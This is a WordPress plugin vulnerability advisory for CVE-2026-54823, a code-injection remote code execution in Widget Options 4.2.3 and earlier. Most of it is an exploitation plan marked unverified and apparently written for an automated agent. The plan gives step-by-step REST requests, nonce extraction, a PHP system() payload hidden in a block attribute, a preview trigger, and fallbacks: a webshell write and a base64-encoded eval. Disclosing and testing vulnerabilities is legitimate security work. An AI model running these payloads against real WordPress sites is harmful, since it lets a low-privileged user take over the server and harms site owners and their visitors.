CVE-2026-54823

Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets <= 4.2.3 - Authenticated (Contributor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.2.4
Patched in
9d
Time to patch

Description

The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.3. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.2.3
PublishedJune 17, 2026
Last updatedJune 25, 2026
Affected pluginwidget-options

What Changed in the Fix

Changes introduced in v4.2.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-54823 (Widget Options RCE) ## 1. Vulnerability Summary The **Widget Options** plugin (<= 4.2.3) is vulnerable to **Remote Code Execution (RCE)** due to the unsafe evaluation of user-supplied PHP code within the "Display Logic" feature. The plugin allows users…

Show full research plan

Exploitation Research Plan - CVE-2026-54823 (Widget Options RCE)

1. Vulnerability Summary

The Widget Options plugin (<= 4.2.3) is vulnerable to Remote Code Execution (RCE) due to the unsafe evaluation of user-supplied PHP code within the "Display Logic" feature. The plugin allows users to define custom visibility rules using PHP expressions. While the plugin implements a wrapper called widgetopts_safe_eval, in version 4.2.3 and below, it fails to sufficiently restrict the input or validate the authorization of users (specifically Contributors) who can modify block attributes containing this logic.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API Post update endpoint (/wp-json/wp/v2/posts/{id}) or the Classic Editor post save (post.php).
  • Vulnerable Attribute: The extended_widget_opts attribute within Gutenberg block comments or widget instances.
  • Payload Parameter: extended_widget_opts.class.logic (for blocks/widgets) or widgetopts_settings_logic (for Beaver Builder).
  • Authentication: Authenticated, Contributor level or higher.
  • Preconditions: The "Display Logic" module must be enabled (typically active by default if the plugin is used for its core purpose).

3. Code Flow

  1. Input: A Contributor-level user sends a request to update a post. The post_content contains a Gutenberg block with malicious attributes:
    <!-- wp:paragraph {"extended_widget_opts":{"class":{"logic":"system('id');"}}} --><p>Content</p><!-- /wp:paragraph -->
  2. Storage: WordPress saves the block attributes into the post_content field in the database.
  3. Processing (Frontend Render): When the post is viewed (or previewed), the plugin's visibility logic is triggered.
  4. Attribute Extraction: The plugin parses the block attributes and identifies the logic string in extended_widget_opts['class']['logic'].
  5. Sink (Evaluation):
    • In includes/pagebuilders/siteorigin.php (and similar render files for Gutenberg/Elementor), the code calls:
      $display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);
    • Then it reaches the execution sink:
      widgetopts_safe_eval($display_logic);
  6. Execution: Since widgetopts_safe_eval is a wrapper that ultimately uses eval() or a similar execution mechanism without a strict sandbox, the injected system('id'); is executed.

4. Nonce Acquisition Strategy

To save or preview a post as a Contributor, a REST API nonce or a _wpnonce for the post editor is required.

  1. Navigate to the Post Editor: The agent should navigate to wp-admin/post-new.php.
  2. Extract REST Nonce: Use browser_eval to extract the nonce required for REST API calls.
    • JavaScript: window.wpApiSettings.nonce
  3. Alternative (Classic Editor): If using the legacy post.php flow, the nonce is found in the #_wpnonce hidden input field.

5. Exploitation Strategy

Step 1: Authentication

Login to the WordPress instance as a user with the Contributor role.

Step 2: Post Creation & Payload Injection

Use the REST API to create a new post containing a block with the malicious logic attribute.

  • Tool: http_request
  • Method: POST
  • URL: http://[target]/wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [Extracted Nonce]
  • Body:
    {
      "title": "RCE Test",
      "content": "<!-- wp:paragraph {\"extended_widget_opts\":{\"class\":{\"logic\":\"system('id > /var/www/html/rce.txt');\"}}} --><p>Payload</p><!-- /wp:paragraph -->",
      "status": "draft"
    }
    

Step 3: Trigger Execution via Preview

Contributors cannot publish posts, but they can view their own drafts via the Preview feature.

  • Tool: http_request
  • Method: GET
  • URL: http://[target]/?p=[Post_ID]&preview=true
  • Details: The request must include the authentication cookies of the Contributor. The rendering of the preview will trigger the logic evaluation.

6. Test Data Setup

  1. Install Plugin: Install and activate widget-options version 4.2.3.
  2. Enable Logic: Ensure the "Logic" module is enabled in Settings > Widget Options.
  3. User: Create a user with the username attacker and role Contributor.

7. Expected Results

  • The GET request to the preview URL should execute the PHP system() command.
  • The command id > /var/www/html/rce.txt will create a file in the webroot containing the output of the id command (e.g., uid=33(www-data) ...).

8. Verification Steps

  1. Check for Evidence: Use WP-CLI to verify if the file was created:
    wp eval "echo file_get_contents('/var/www/html/rce.txt');"
  2. Check Post Meta: Verify the post content was correctly saved:
    wp post get [Post_ID] --field=post_content
  3. Cleanup: Delete the post and the temporary file:
    wp post delete [Post_ID] --force
    wp eval "unlink('/var/www/html/rce.txt');"

9. Alternative Approaches

  • SiteOrigin Integration: If the block-based approach fails, use the SiteOrigin Page Builder (if active). Inject the payload into the panels_data post meta using a similar logic:
    {"widgets": [{"extended_widget_opts": {"class": {"logic": "php_payload_here"}}}]}.
  • Direct Eval Payload: If system() is disabled, use file_put_contents() to write a persistent webshell:
    logic: "file_put_contents('shell.php', '<?php phpinfo(); ?>');"
  • Encoding: If sanitize_text_field interferes with special characters, use base64_decode in the payload:
    logic: "eval(base64_decode('c3lzdGVtKCdpZCcpOw=='));" (Note: ensure the base64 string does not contain characters stripped by the sanitizer).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.